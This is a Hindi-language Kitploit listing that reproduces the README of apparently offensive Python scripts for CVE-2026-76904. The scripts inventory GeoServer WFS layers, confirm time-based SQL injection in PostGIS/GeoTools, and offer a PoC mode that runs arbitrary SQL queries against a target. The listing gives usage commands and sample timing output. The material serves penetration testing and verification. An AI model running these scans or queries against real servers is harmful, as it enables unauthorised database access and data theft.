Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-76904 — जियोसर्वर WFS एंडपॉइंट्स की इन्वेंट्री करने और PostGIS/GeoTools में समय-आधारित SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए पायथन स्क्रिप्ट्स, जिनमें अधिकृत परीक्षण के लिए एक समर्पित PoC मोड शामिल है। | Kitploit
उपकरण/GitHubGitHub/bickzero93/cve-2026-76904
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

जियोसर्वर WFS एंडपॉइंट्स की इन्वेंट्री करने और PostGIS/GeoTools में समय-आधारित SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए पायथन स्क्रिप्ट्स, जिनमें अधिकृत परीक्षण के लिए एक समर्पित PoC मोड शामिल है।

रिपॉजिटरी देखें
1191 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GeoServer WFS इन्वेंटरी और अधिकृत सत्यापन

इस रिपॉजिटरी में GeoServer-WFS एंडपॉइंट्स की जांच के लिए दो Python स्क्रिप्ट शामिल हैं।

अवलोकन

wfs_inventory.py

उद्देश्य: Layer, XSD फ़ील्ड और WFS मानों की सूची बनाना तथा उम्मीदवारों को वैकल्पिक रूप से समय-आधारित जांच के माध्यम से सत्यापित करना।

निष्पादन उदाहरण:

python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

उद्देश्य: इन्वेंटरी के लिए संयुक्त प्रवेश बिंदु तथा एक अलग PoC मोड।

निष्पादन उदाहरण:

python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

महत्वपूर्ण नोट: समय-आधारित जांच और PoC मोड का उपयोग केवल उन सिस्टमों के विरुद्ध किया जाना चाहिए जिनके लिए स्पष्ट परीक्षण अनुमति मौजूद हो। सामान्य इन्वेंटरी मोड केवल नियमित WFS ऑपरेशनों का उपयोग करता है।

आवश्यक शर्तें

  • Python 3.10 या नया
  • कोई अतिरिक्त Python पैकेज नहीं; दोनों स्क्रिप्ट केवल मानक लाइब्रेरी का उपयोग करती हैं
  • WFS एंडपॉइंट तक नेटवर्क पहुंच

वैकल्पिक रूप से निष्पादन योग्य बनाएं:

chmod +x wfs_inventory.py geoserver_sqli_working.py

त्वरित प्रारंभ

नियमित WFS क्वेरी के माध्यम से उम्मीदवार खोजें

python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

डिफ़ॉल्ट पथ /geoserver/wfs स्वचालित रूप से जोड़ा जाता है। इसलिए निम्नलिखित जानकारी समतुल्य है:

https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

भिन्न इंस्टॉलेशन के मामले में पूर्ण WFS पथ निर्दिष्ट किया जाना चाहिए।

समय-आधारित जांच के साथ उम्मीदवारों को सत्यापित करें

केवल स्पष्ट रूप से अधिकृत सिस्टमों के लिए:

python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

जांच के दौरान प्रत्येक उम्मीदवार के लिए stderr पर एक माप दिखाई देता है:

[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

एक सफल स्क्रीन अभी तक सकारात्मक निष्कर्ष नहीं है। केवल जब दूसरा, लंबा माप भी सफल होता है, तो एक पैरामीटर ब्लॉक आउटपुट होता है।

डायग्नोस्टिक्स को फ़ाइल में लिखें

python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE स्वचालित रूप से विस्तृत डायग्नोस्टिक्स सक्रिय करता है और उन्हें निर्दिष्ट फ़ाइल में लिखता है।

ऑटो-मोड की प्रक्रिया

डिफ़ॉल्ट मोड auto WFS जानकारी को इस क्रम में संसाधित करता है:

  1. GetCapabilities एक बार खोला जाता है:

    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. XML प्रतिक्रिया स्ट्रीम की जाती है। जैसे ही एक FeatureType/Name मिलता है, अगला typeName निर्धारित होता है।

  3. इस Layer के लिए तुरंत DescribeFeatureType को version=2.0.0 के साथ निष्पादित किया जाता है।

  4. स्क्रिप्ट XSD तत्वों को निकालती है और ID- या संख्या-समान नाम वाले स्ट्रिंग/JSON फ़ील्ड का चयन करती है।

  5. उम्मीदवार को कॉल के आधार पर जांचा जाता है:

    • --sleep के बिना: नमूना मान सिंटैक्टिक रूप से मान्य JSON होने चाहिए।
    • --sleep N के साथ: एक नियंत्रण अनुरोध और एक समय-आधारित जांच अनुरोध मापा जाता है। JSON मान जांच को छोड़ दिया जाता है।
  6. परिणाम तुरंत आउटपुट और फ्लश किया जाता है।

  7. उसके बाद ही चल रही GetCapabilities प्रतिक्रिया से अगला typeName पढ़ा जाता है।

इस प्रकार पहला परिणाम दिखाई देने से पहले एक बड़ी GetCapabilities प्रतिक्रिया को पूरी तरह से संसाधित करने की आवश्यकता नहीं होती है।

फ़ील्ड उम्मीदवारों के लिए मानदंड

--sleep के बिना, स्वचालित मोड डिफ़ॉल्ट रूप से ID- या संख्या-समान नाम वाले स्ट्रिंग/JSON फ़ील्ड पर विचार करता है।

--sleep के साथ, --candidate-scope auto इसके बजाय सभी सरल गैर-ज्यामिति फ़ील्ड का उपयोग करता है। XSD प्रकार और ID नाम पैटर्न तब टाइमिंग जांच को अवरुद्ध नहीं करते हैं। यह संख्यात्मक, दिनांक/बूलियन या निर्माता-विशिष्ट XSD प्रकारों के लिए गलत नकारात्मक परिणामों को रोकता है।

पहचाने गए नाम पैटर्न में शामिल हैं:

id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

समय-आधारित जांच में फ़ील्ड नाम अतिरिक्त रूप से [A-Za-z_][A-Za-z0-9_]* प्रारूप में एक सरल पहचानकर्ता होना चाहिए।

JSON और स्लीप जांच के बीच अंतर

--sleep के बिना, यह जांचा जाता है कि देखे गए मान सिंटैक्टिक रूप से JSON के रूप में व्याख्या किए जा सकते हैं या नहीं। इसलिए, उदाहरण के लिए, स्ट्रिंग "383205" भी एक उम्मीदवार माना जाता है, क्योंकि इसकी सामग्री एक मान्य JSON संख्या है। यह जांच एक अनुमान है और कमजोरी का प्रमाण नहीं है।

--sleep 1 के साथ, केवल समय माप निर्णायक होता है। एक उम्मीदवार डिफ़ॉल्ट रूप से सकारात्मक माना जाता है यदि जांच अनुरोध नियंत्रण अनुरोध की तुलना में अनुरोधित स्लीप समय का कम से कम 70 प्रतिशत अतिरिक्त लेता है। --timing-result-type auto पहले resultType=hits की जांच करता है और नकारात्मक परिणाम के बाद resultType=results की जांच करता है।

अस्थायी रूप से सकारात्मक माप अनिवार्य रूप से लंबे स्लीप समय के साथ पुष्टि की जाती हैं। स्पष्ट --confirm-sleep के बिना, स्क्रिप्ट max(3, --sleep * 3) का उपयोग करती है, जो 10 सेकंड तक सीमित है। इस प्रकार --sleep 1 पर एक एकल विलंबता स्पाइक अब vulnerable=true का कारण नहीं बनता है।

संक्षिप्त आउटपुट

मानक आउटपुट में प्रत्येक मान्य Layer के लिए एक ब्लॉक होता है:

typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN में सामान्यीकृत WFS एंडपॉइंट और --typename तथा --field_name के लिए उपयुक्त मान होते हैं।

--valid-fields N Layer ब्लॉकों की गणना करता है, व्यक्तिगत फ़ील्ड की नहीं। यदि N से कम मान्य Layer मौजूद हैं, तो शेष कैटलॉग की आगे जांच की जाती है। --max-layers के साथ अधिकतम रनटाइम सीमित किया जा सकता है।

विस्तृत डायग्नोस्टिक्स

विकल्प --diagnose या --valid-diagnose FILE अन्य बातों के अलावा जोड़ते हैं:

  • सामान्यीकृत WFS एंडपॉइंट,
  • उपयोग की गई GetCapabilities URL,
  • DescribeFeatureType URL,
  • XSD फ़ील्ड प्रकार,
  • ID और उपयोगिता चिह्न,
  • जांचे गए नमूनों की संख्या,
  • JSON संगतता या टाइमिंग माप मान,
  • उत्पन्न GetFeature URL और
  • कॉपी करने योग्य पैरामीटर स्ट्रिंग्स।

उदाहरण:

python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

अतिरिक्त इन्वेंटरी मोड

सभी Layer सूचीबद्ध करें

python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

किसी नेमस्पेस तक सीमित करें:

python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

किसी Layer के XSD फ़ील्ड दिखाएं

python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

प्रत्येक फ़ील्ड को नाम, XSD प्रकार, nillable, id_candidate और usable_property के साथ JSON ऑब्जेक्ट के रूप में आउटपुट किया जाता है।

चयनित फ़ील्ड के मान निर्यात करें

python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

सभी प्रॉपर्टी निर्यात करें:

python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100
टूल डाउनलोड करें